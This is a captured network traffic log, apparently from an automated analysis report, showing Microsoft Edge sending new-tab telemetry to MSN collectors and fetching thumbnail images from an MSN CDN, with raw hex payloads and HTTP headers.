2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-25 02:39:59 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49837	20.42.73.30	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:00 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732502398295&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11571 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 02:40:00 UTC	11571	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 32 3a 33 39 3a 35 38 2e 32 39 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 64 32 65 34 36 35 35 2d 61 38 36 35 2d 34 30 34 66 2d 39 32 32 62 2d 63 35 36 31 37 33 34 65 64 31 64 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 30 33 38 32 33 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T02:39:58.293Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"8d2e4655-a865-404f-922b-c561734ed1d5","epoch":"1550382370"},"app":{"locale
2024-11-25 02:40:01 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5d06a8c55ca74476bf8e73bb4d95a661&HASH=5d06&LV=202411&V=4&LU=1732502401094; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 02:40:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ade8b8480aaf4024a0f3457f903c271d; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 03:10:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2784 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 02:40:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49838	20.42.73.30	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:01 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732502398307&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 32895 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 02:40:01 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 32 3a 33 39 3a 35 38 2e 33 30 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 64 32 65 34 36 35 35 2d 61 38 36 35 2d 34 30 34 66 2d 39 32 32 62 2d 63 35 36 31 37 33 34 65 64 31 64 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 30 33 38 32 33 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T02:39:58.303Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"8d2e4655-a865-404f-922b-c561734ed1d5","epoch":"1550382370"},"app":{"locale
2024-11-25 02:40:01 UTC	16384	OUT	Data Raw: 6f 6c 75 6d 6e 22 2c 22 74 68 65 6d 65 22 3a 22 6c 69 67 68 74 22 2c 22 68 61 73 33 50 53 65 61 72 63 68 22 3a 66 61 6c 73 65 2c 22 69 73 53 65 61 72 63 68 41 42 22 3a 66 61 6c 73 65 2c 22 69 73 4d 6f 6e 65 74 69 7a 65 64 22 3a 66 61 6c 73 65 2c 22 70 69 76 6f 74 22 3a 22 22 2c 22 72 65 66 65 72 72 61 6c 22 3a 22 22 2c 22 64 77 65 6c 6c 54 69 6d 65 22 3a 30 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 73 4d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 77 69 64 74 68 22 3a 31 32 38 30 2c 22 68 65 69 67 68 74 22 3a 39 38 34 2c 22 73 63 72 65 65 6e 53 69 7a 65 22 3a 22 31 32 38 30 78 31 30 32 34 22 2c 22 63 6c 69 65 6e 74 49 64 22 3a 22 30 35 31 32 38 45 31 34 41 32 33 36 36 41 37 34 32 33 34 30 39 42 35 36 41 33 39 45 36 42 39 43 22 2c 22 73 63 72 6f 6c 6c 4f Data Ascii: olumn","theme":"light","has3PSearch":false,"isSearchAB":false,"isMonetized":false,"pivot":"","referral":"","dwellTime":0},"browser":{"isMobile":false,"width":1280,"height":984,"screenSize":"1280x1024","clientId":"05128E14A2366A7423409B56A39E6B9C","scrollO
2024-11-25 02:40:01 UTC	127	OUT	Data Raw: 64 6e 53 65 6c 66 22 3a 30 2c 22 63 64 6e 4f 72 69 67 69 6e 22 3a 30 7d 2c 22 73 63 61 6c 61 72 73 22 3a 7b 22 73 69 7a 65 22 3a 37 37 39 2c 22 63 61 63 68 65 22 3a 30 7d 7d 7d 7d 7d 7d 2c 22 64 65 76 69 63 65 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 7b 22 6d 65 6d 6f 72 79 22 3a 38 2c 22 63 70 75 22 3a 34 2c 22 6e 65 74 77 6f 72 6b 53 70 65 65 64 22 3a 22 33 67 22 7d 7d 7d 7d Data Ascii: dnSelf":0,"cdnOrigin":0},"scalars":{"size":779,"cache":0}}}}}},"deviceCapabilities":{"memory":8,"cpu":4,"networkSpeed":"3g"}}}}
2024-11-25 02:40:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=edb8c2d52aca46a68917b317b2b91c25&HASH=edb8&LV=202411&V=4&LU=1732502401464; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 02:40:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d9dd7e45b3d1416fa6a9e52e3cd6f000; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 03:10:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3157 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 02:40:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49839	20.42.73.30	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:01 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732502399168&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5249 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1; msnup=
2024-11-25 02:40:01 UTC	5249	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 32 3a 33 39 3a 35 39 2e 31 36 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 64 32 65 34 36 35 35 2d 61 38 36 35 2d 34 30 34 66 2d 39 32 32 62 2d 63 35 36 31 37 33 34 65 64 31 64 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 30 33 38 32 33 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T02:39:59.167Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"8d2e4655-a865-404f-922b-c561734ed1d5","epoch":"1550382370"},"app":{"locale
2024-11-25 02:40:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9a9834e42a344c23a0370676e4b7cce4&HASH=9a98&LV=202411&V=4&LU=1732502401910; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 02:40:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=dba447bd63a24efc9113aa84e65551d2; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 03:10:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2742 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 02:40:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49840	20.42.73.30	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:02 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732502399272&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9623 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1; msnup=
2024-11-25 02:40:02 UTC	9623	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 32 3a 33 39 3a 35 39 2e 32 37 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 64 32 65 34 36 35 35 2d 61 38 36 35 2d 34 30 34 66 2d 39 32 32 62 2d 63 35 36 31 37 33 34 65 64 31 64 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 30 33 38 32 33 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-25T02:39:59.271Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"8d2e4655-a865-404f-922b-c561734ed1d5","epoch":"1550382370"},"app":{"loc
2024-11-25 02:40:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a238a6bfe92745b5842ac76a927b75a5&HASH=a238&LV=202411&V=4&LU=1732502402248; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 02:40:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d277661119c844bfbf3120f2ae384baf; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 03:10:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2976 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 02:40:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49843	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:06 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:40:07 UTC	547	IN	HTTP/1.1 200 OK Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=349538 Expires: Fri, 29 Nov 2024 03:45:44 GMT Date: Mon, 25 Nov 2024 02:40:06 GMT Connection: close
2024-11-25 02:40:07 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49844	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:08 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:40:08 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=250285 Expires: Thu, 28 Nov 2024 00:11:33 GMT Date: Mon, 25 Nov 2024 02:40:08 GMT Connection: close
2024-11-25 02:40:08 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49846	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:10 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:40:10 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 24 Nov 2024 16:24:48 GMT X-Datacenter: westus X-ActivityId: 09c9a816-65c3-4cec-9dc5-575462c725bf Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=395078 Expires: Fri, 29 Nov 2024 16:24:48 GMT Date: Mon, 25 Nov 2024 02:40:10 GMT Connection: close
